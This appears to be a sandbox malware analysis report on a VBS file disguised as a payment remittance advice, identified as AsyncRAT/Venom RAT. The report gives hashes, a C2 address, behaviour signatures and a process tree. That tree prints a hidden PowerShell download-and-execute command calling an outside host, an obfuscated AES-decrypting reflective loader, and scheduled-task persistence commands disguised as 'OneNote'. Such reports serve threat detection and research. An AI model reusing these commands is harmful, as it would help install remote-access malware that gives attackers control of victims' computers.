Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-12-2024 14:26

General

  • Target

    Payment Remittance Advice for Nov 2024.vbs

  • Size

    67KB

  • MD5

    12d9b975c280a2500a1f13ee88cd5dcc

  • SHA1

    d2ff34e43857aafc57217cfb7cdc5bb3b2825b66

  • SHA256

    823fce06a9659813c5c77358e7759ff067902c4c49b10787a2d698bfe55a28a9

  • SHA512

    ec0a70030c775ee18f5482e756e6b4abacdf0e14516335771a8995be7059eb037dc18c27d2844927fdde37b17cae9226f173ffda8334e764f478fe2181a31430

  • SSDEEP

    1536:dha8UpBzancwZOnc9/FQa6vYGl2Yo7ZkeXeFuGbVSPXCAG:7Ur2Ocmo7ZkieFuyIG

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Dec2024

C2

45.88.88.7:6845

Mutex

zmkdvkzgwmnzhgvxwwk

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment Remittance Advice for Nov 2024.vbs"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2884
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\system.bat"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:868
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\system.bat';$Qstz='SpzjXAlzjXAitzjXA'.Replace('zjXA', ''),'TfJIHranfJIHsffJIHofJIHrfJIHmFfJIHinafJIHlfJIHBlofJIHcfJIHkfJIH'.Replace('fJIH', ''),'RVgYzeadVgYzLiVgYznesVgYz'.Replace('VgYz', ''),'InMwMavoMwMakMwMaeMwMa'.Replace('MwMa', ''),'DecsNGQomsNGQpresNGQssNGQssNGQ'.Replace('sNGQ', ''),'CoHJBApyTHJBAoHJBA'.Replace('HJBA', ''),'CrXqfmeatXqfmeDeXqfmcryXqfmptXqfmorXqfm'.Replace('Xqfm', ''),'GeFjYVtFjYVCFjYVurFjYVrenFjYVtFjYVPrFjYVocFjYVesFjYVsFjYV'.Replace('FjYV', ''),'LozlYIazlYIdzlYI'.Replace('zlYI', ''),'CLJmzhLJmzanLJmzgeELJmzxtLJmzenLJmzsLJmzionLJmz'.Replace('LJmz', ''),'EeFjtleeFjtmeeFjtneFjttAeFjtteFjt'.Replace('eFjt', ''),'MdbpiaindbpiModbpiddbpiuledbpi'.Replace('dbpi', ''),'FrRYFzoRYFzmBRYFzaRYFzsRYFze6RYFz4RYFzSRYFztrRYFzinRYFzgRYFz'.Replace('RYFz', ''),'EncrkwtcrkwrcrkwyPocrkwicrkwntcrkw'.Replace('crkw', '');powershell -w hidden;function RgsAI($BWcmp){$GWmwK=[System.Security.Cryptography.Aes]::Create();$GWmwK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GWmwK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GWmwK.Key=[System.Convert]::($Qstz[12])('bVSs74+10Z+7ASHf34iR8A7lXdmOJD3coRGmA4lMt4I=');$GWmwK.IV=[System.Convert]::($Qstz[12])('iE6BirpwfNsKBuhzhqFgjw==');$OWgUJ=$GWmwK.($Qstz[6])();$MLceL=$OWgUJ.($Qstz[1])($BWcmp,0,$BWcmp.Length);$OWgUJ.Dispose();$GWmwK.Dispose();$MLceL;}function frMFN($BWcmp){$ssjuW=New-Object System.IO.MemoryStream(,$BWcmp);$upHUk=New-Object System.IO.MemoryStream;$WGXAI=New-Object System.IO.Compression.GZipStream($ssjuW,[IO.Compression.CompressionMode]::($Qstz[4]));$WGXAI.($Qstz[5])($upHUk);$WGXAI.Dispose();$ssjuW.Dispose();$upHUk.Dispose();$upHUk.ToArray();}$DXhXo=[System.IO.File]::($Qstz[2])([Console]::Title);$YYyyJ=frMFN (RgsAI ([Convert]::($Qstz[12])([System.Linq.Enumerable]::($Qstz[10])($DXhXo, 5).Substring(2))));$eqMxD=frMFN (RgsAI ([Convert]::($Qstz[12])([System.Linq.Enumerable]::($Qstz[10])($DXhXo, 6).Substring(2))));[System.Reflection.Assembly]::($Qstz[8])([byte[]]$eqMxD).($Qstz[13]).($Qstz[3])($null,$null);[System.Reflection.Assembly]::($Qstz[8])([byte[]]$YYyyJ).($Qstz[13]).($Qstz[3])($null,$null); "
          4⤵
            PID:3240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4448
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3040
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\system')
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:876
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 82953' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network82953Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:216
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network82953Man.cmd"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4120
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network82953Man.cmd"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2312
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network82953Man.cmd';$Qstz='SpzjXAlzjXAitzjXA'.Replace('zjXA', ''),'TfJIHranfJIHsffJIHofJIHrfJIHmFfJIHinafJIHlfJIHBlofJIHcfJIHkfJIH'.Replace('fJIH', ''),'RVgYzeadVgYzLiVgYznesVgYz'.Replace('VgYz', ''),'InMwMavoMwMakMwMaeMwMa'.Replace('MwMa', ''),'DecsNGQomsNGQpresNGQssNGQssNGQ'.Replace('sNGQ', ''),'CoHJBApyTHJBAoHJBA'.Replace('HJBA', ''),'CrXqfmeatXqfmeDeXqfmcryXqfmptXqfmorXqfm'.Replace('Xqfm', ''),'GeFjYVtFjYVCFjYVurFjYVrenFjYVtFjYVPrFjYVocFjYVesFjYVsFjYV'.Replace('FjYV', ''),'LozlYIazlYIdzlYI'.Replace('zlYI', ''),'CLJmzhLJmzanLJmzgeELJmzxtLJmzenLJmzsLJmzionLJmz'.Replace('LJmz', ''),'EeFjtleeFjtmeeFjtneFjttAeFjtteFjt'.Replace('eFjt', ''),'MdbpiaindbpiModbpiddbpiuledbpi'.Replace('dbpi', ''),'FrRYFzoRYFzmBRYFzaRYFzsRYFze6RYFz4RYFzSRYFztrRYFzinRYFzgRYFz'.Replace('RYFz', ''),'EncrkwtcrkwrcrkwyPocrkwicrkwntcrkw'.Replace('crkw', '');powershell -w hidden;function RgsAI($BWcmp){$GWmwK=[System.Security.Cryptography.Aes]::Create();$GWmwK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GWmwK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GWmwK.Key=[System.Convert]::($Qstz[12])('bVSs74+10Z+7ASHf34iR8A7lXdmOJD3coRGmA4lMt4I=');$GWmwK.IV=[System.Convert]::($Qstz[12])('iE6BirpwfNsKBuhzhqFgjw==');$OWgUJ=$GWmwK.($Qstz[6])();$MLceL=$OWgUJ.($Qstz[1])($BWcmp,0,$BWcmp.Length);$OWgUJ.Dispose();$GWmwK.Dispose();$MLceL;}function frMFN($BWcmp){$ssjuW=New-Object System.IO.MemoryStream(,$BWcmp);$upHUk=New-Object System.IO.MemoryStream;$WGXAI=New-Object System.IO.Compression.GZipStream($ssjuW,[IO.Compression.CompressionMode]::($Qstz[4]));$WGXAI.($Qstz[5])($upHUk);$WGXAI.Dispose();$ssjuW.Dispose();$upHUk.Dispose();$upHUk.ToArray();}$DXhXo=[System.IO.File]::($Qstz[2])([Console]::Title);$YYyyJ=frMFN (RgsAI ([Convert]::($Qstz[12])([System.Linq.Enumerable]::($Qstz[10])($DXhXo, 5).Substring(2))));$eqMxD=frMFN (RgsAI ([Convert]::($Qstz[12])([System.Linq.Enumerable]::($Qstz[10])($DXhXo, 6).Substring(2))));[System.Reflection.Assembly]::($Qstz[8])([byte[]]$eqMxD).($Qstz[13]).($Qstz[3])($null,$null);[System.Reflection.Assembly]::($Qstz[8])([byte[]]$YYyyJ).($Qstz[13]).($Qstz[3])($null,$null); "
                  7⤵
                    PID:1772
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    7⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    • Suspicious use of WriteProcessMemory
                    PID:536
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4816
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network82953Man')
                      8⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3756
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 82953' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network82953Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                      8⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3252
            • C:\Windows\system32\timeout.exe
              timeout /nobreak /t 1
              4⤵
              • Delays execution with timeout.exe
              PID:4312

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

        Filesize

        2KB

        MD5

        e4de99c1795fd54aa87da05fa39c199c

        SHA1

        dfaaac2de1490fae01104f0a6853a9d8fe39a9d7

        SHA256

        23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457

        SHA512

        796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        f5757a4861737c7d99e3ae930ff8641a

        SHA1

        bb6a31b58a1744e8205df4b1e1c3f040b0b76a8c

        SHA256

        2762ba768f272e9f8beea28e01e4253151148b0cdd6968d189bf67544e17b219

        SHA512

        ab9848d8e7bb736000da80f66f14db3eca0cec699fd21ceb67d855a72ec8356e9c06e638d139f3f3a74e9af71d9414e990a78fd8d345a17156ac49c17662f585

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        9d662ecae338ca923a784422a86e9925

        SHA1

        ccdbbd6f3a1801b13f503d92f5d48fe5041ab495

        SHA256

        af4b4d21aa532d4ca4638e2d3c9a07760dfeb65fbe782319860130ba09b62d6e

        SHA512

        5455380e241bd3f697a8697cac7bcce54a1dc323d33995067407bc92858bc2d2216f092cce674a87f3b2d9f34b61bb5b7b13c1b57d511f1540123d38cc7bf38e

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        43f4bec966ab901ac034fc136a642fa5

        SHA1

        8e7227cefec8b05c9a79b2751d1261187b9c0422

        SHA256

        09ea65cf68920d08638db30c86eb3c90254b9b2d9f73246bc0176c86ce687ae4

        SHA512

        a65a2fe6acf4cb0dae8361af3e42e35c6bfaa93859e744a7779630d785a56bb030161c92a74b88a223769fdb912911146a762cf6a8afe33642e2695ea08ceec0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        53de472ee76a1d9bd78e679c6bd26e55

        SHA1

        eb8c617ac93a156ebe937a286f4eefea73ee2413

        SHA256

        a9de910ec10b6d7befac222f1a40ae96b775858845b131b7599a1821ff23dadd

        SHA512

        fd2e00229342343d1c703072a61f55bb2d02c96e661751c5c7ed230e9238736ec8f135532deaec10e2b16b27997cb673a1edd5fa5f8adb138837a8dadca3edfa

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u43idndw.3vp.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\system.bat

        Filesize

        66KB

        MD5

        63de01f12144baf2b505f8eea95ae3a9

        SHA1

        b1428ef307e63503219af46059b89fb60487f7c4

        SHA256

        32d96866203a868b1d4f28560239e66421b412cfa184a876485c39da56f3d979

        SHA512

        de86970f4eff4a449eaf2d992da255b020c6e384c97d02c3e05ea07bb2a67d543d1701c7beed9a23bb88d82097728ad6b4fb452ac48182b44a894a15bcf712d0

      • memory/536-113-0x0000020D4B150000-0x0000020D4B168000-memory.dmp

        Filesize

        96KB

      • memory/2884-12-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

        Filesize

        10.8MB

      • memory/2884-17-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

        Filesize

        10.8MB

      • memory/2884-16-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

        Filesize

        10.8MB

      • memory/2884-13-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

        Filesize

        10.8MB

      • memory/2884-0-0x00007FFAA2AA3000-0x00007FFAA2AA5000-memory.dmp

        Filesize

        8KB

      • memory/2884-11-0x00007FFAA2AA0000-0x00007FFAA3561000-memory.dmp

        Filesize

        10.8MB

      • memory/2884-7-0x0000025D35ED0000-0x0000025D35EF2000-memory.dmp

        Filesize

        136KB

      • memory/4448-32-0x00000234BC360000-0x00000234BC3A4000-memory.dmp

        Filesize

        272KB

      • memory/4448-33-0x00000234BC430000-0x00000234BC4A6000-memory.dmp

        Filesize

        472KB

      • memory/4448-44-0x00000234BBFB0000-0x00000234BBFC0000-memory.dmp

        Filesize

        64KB